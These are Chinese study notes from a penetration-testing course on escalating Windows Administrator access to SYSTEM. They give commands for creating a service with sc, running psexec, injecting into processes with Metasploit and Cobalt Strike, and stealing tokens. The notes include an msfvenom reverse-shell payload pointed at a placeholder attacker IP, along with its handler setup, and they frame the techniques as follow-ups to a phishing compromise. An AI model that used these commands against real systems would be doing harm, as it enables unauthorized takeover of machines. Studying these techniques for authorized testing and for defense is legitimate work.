小迪安全v2023学习笔记(一百三十六讲)—— Win系统权限提升篇计算机用户进程注入令牌窃取服务启动远程管理
文章目录
- 权限提升——第一百三十六天
- Win系统权限提升篇&计算机用户&进程注入&令牌窃取&服务启动&远程管理
- 前置知识
- 所处位置
- 应用场景
- 当前技术主要入口点
- 当前技术主要应用点
- 为什么要进行提权或者降权操作?
- Win系统提权 - 本地管理用户-服务启动
- 介绍
- 案例演示
- Win系统提权 - 本地管理用户-远程管理
- Win系统提权 - 本地管理用户-进程注入
- MSF
- CS
- Win系统提权 - 本地管理用户-令牌窃取
- MSF
- CS
权限提升——第一百三十六天
Win系统权限提升篇&计算机用户&进程注入&令牌窃取&服务启动&远程管理
前置知识
所处位置
-
本节课我们所处位置如下:
-
主要是讲如何从计算机用户权限(更确切说是Administrator用户)到计算机系统权限(SYSTEM用户),然后也为了更好地了解提权和降权的作用,也会从域的角度出发,会涉及到内网的部分知识
应用场景
- 本节课的应用场景为:
1、常规某个机器被钓鱼后门攻击后,我们需要做更高权限操作或权限维持等。
2、内网域中某个机器被钓鱼后门攻击后,我们需要对后续内网域做安全测试。
当前技术主要入口点
- 主要是通过钓鱼获取计算机用户权限
当前技术主要应用点
- 如果当前受控机在内网域环境中:
1. 提权system与内网交互
2. 降权到域用户与内网交互
- 如果当前受控机为单独的机器:
1. 提权直接接管整个个人主机
为什么要进行提权或者降权操作?
- 其实提权很好理解,就是因为某些敏感操作权限不足,所以我们需要管理员的权限去进行这些操作
- 降权其实也好理解,这里小迪引入了内网域的知识,在域当中,如果要和其他域用户进行通信,有两种方式:
- 要么当前是域用户(低权限):任何操作都直接由域控管理
- 要么当前是SYSTEM用户(最高权限):域控托管给SYSTEM用户操作,可以不经过域控
- 否则都是不允许与其他域用户通信的,尽管是Administrator用户也不行;所以当我们提权不上去,又要进行域通信的时候,就需要降权
- 这里只需要理解为什么会有降权这种需求即可
Win系统提权 - 本地管理用户-服务启动
介绍
- sc命令是用于与服务控制管理器和服务进行通信的命令行程序
- 在Windows当中,我们可以用sc命令去创建一个服务,然后让他去运行这个服务,因为windows中服务是由system权限运行(特性),即可用system用户去启动这个服务
- 适用版本:Windows7、10、11;Windows Server 2008、2012、2016、2019、2022、2025,早期用at命令
案例演示
- 这里就创建一个腾讯云Windows Server 2025服务器,然后通过这种方式用MSF或者CS尝试上线
- 首先创建一个名为ulin的执行文件服务:
# 注意这里binPath后面要有个空格!
sc Create ulin binPath= "C:\Users\Administrator\Desktop\artifact.exe"
-
然后运行该服务:
-
所以这个东西它是通用的,是Windows的特性,不管版本
Win系统提权 - 本地管理用户-远程管理
-
首先我们需要下载/上传一款工具,这个工具是Windows官方提供给用户管理系统的,所以不会被查杀,也属于正常流量:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
-
然后我们在目标机器上用这个工具执行如下命令:
# 调用执行cmd
psexec.exe -accepteula -s -i -d cmd
- 接下来我们就直接在新开的CMD窗口执行我们的恶意程序上线即可:
Win系统提权 - 本地管理用户-进程注入
-
进程注入简单来说就是,通过把恶意代码塞到其他合法的进程中,让它来替我运行恶意线程。
-
这样既能够隐藏自身,又能够继承对方的令牌、内存空间、网络连接,Bypass白名单/EDR/防火墙等等,除了这里,免杀中也会使用这种手段
-
这里的话我们基本就是通过工具来实现进程的迁移,常用到的工具就是MSF和CS,然后会分别演示如何使用
MSF
- 这里懒得在服务器上安装MSF了,就用本地虚拟机演示
- 首先生成MSF后门,然后尝试监听上线:
# 生成MSF后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<攻击机IP> LPORT=<攻击机端口> -f exe -o <文件保存路径># MSF启动监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <攻击机IP> # 同生成时 LHOST
set LPORT <监听端口> # 同生成时 LPORT
run
-
然后我们可以通过
ps
命令查看当前系统中正在运行的进程(注意这里需要administrator权限才能够看到SYSTEM权限运行的程序):
-
如果实在没有x86的应用,x64也是可以的,比如这里我们尝试注入
svchost.exe
程序:
migrate <PID>
- 成功提权到SYSTEM用户!当然,降权操作也是可以的
CS
-
CS就用服务器来演示了,还是先上线:
-
然后选中当前会话,右键查看进程列表:
-
然后这里就简单了,直接点击下面的注入按钮即可尝试注入:
-
当然也可以在命令行中使用命令进行注入:
inject <PID>
- 这里尽量还是选择上面那种点击的方式去进行注入,它会自动帮你筛选注入的
payload
Win系统提权 - 本地管理用户-令牌窃取
- 令牌窃取就是将别人的SYSTEM/Administrator访问令牌借过,放到自己的线程上变成高权限
MSF
- MSF上线之后,我们可以通过如下命令去进行令牌窃取:
# 启用这个模块
use incognito# 查看当前能窃取的用户
list_tokens -u# 窃取SYSTEM用户
impersonate_token "NT AUTHORITY\SYSTEM"
CS
-
CS上线后,直接右键查看进程,然后选中想要窃取令牌的进程,点击令牌窃取即可:
-
同样,可以手动输入命令去尝试窃取:
# 窃取进程令牌
steal_token <PID># 窃取进程令牌上线
spawnu <PID>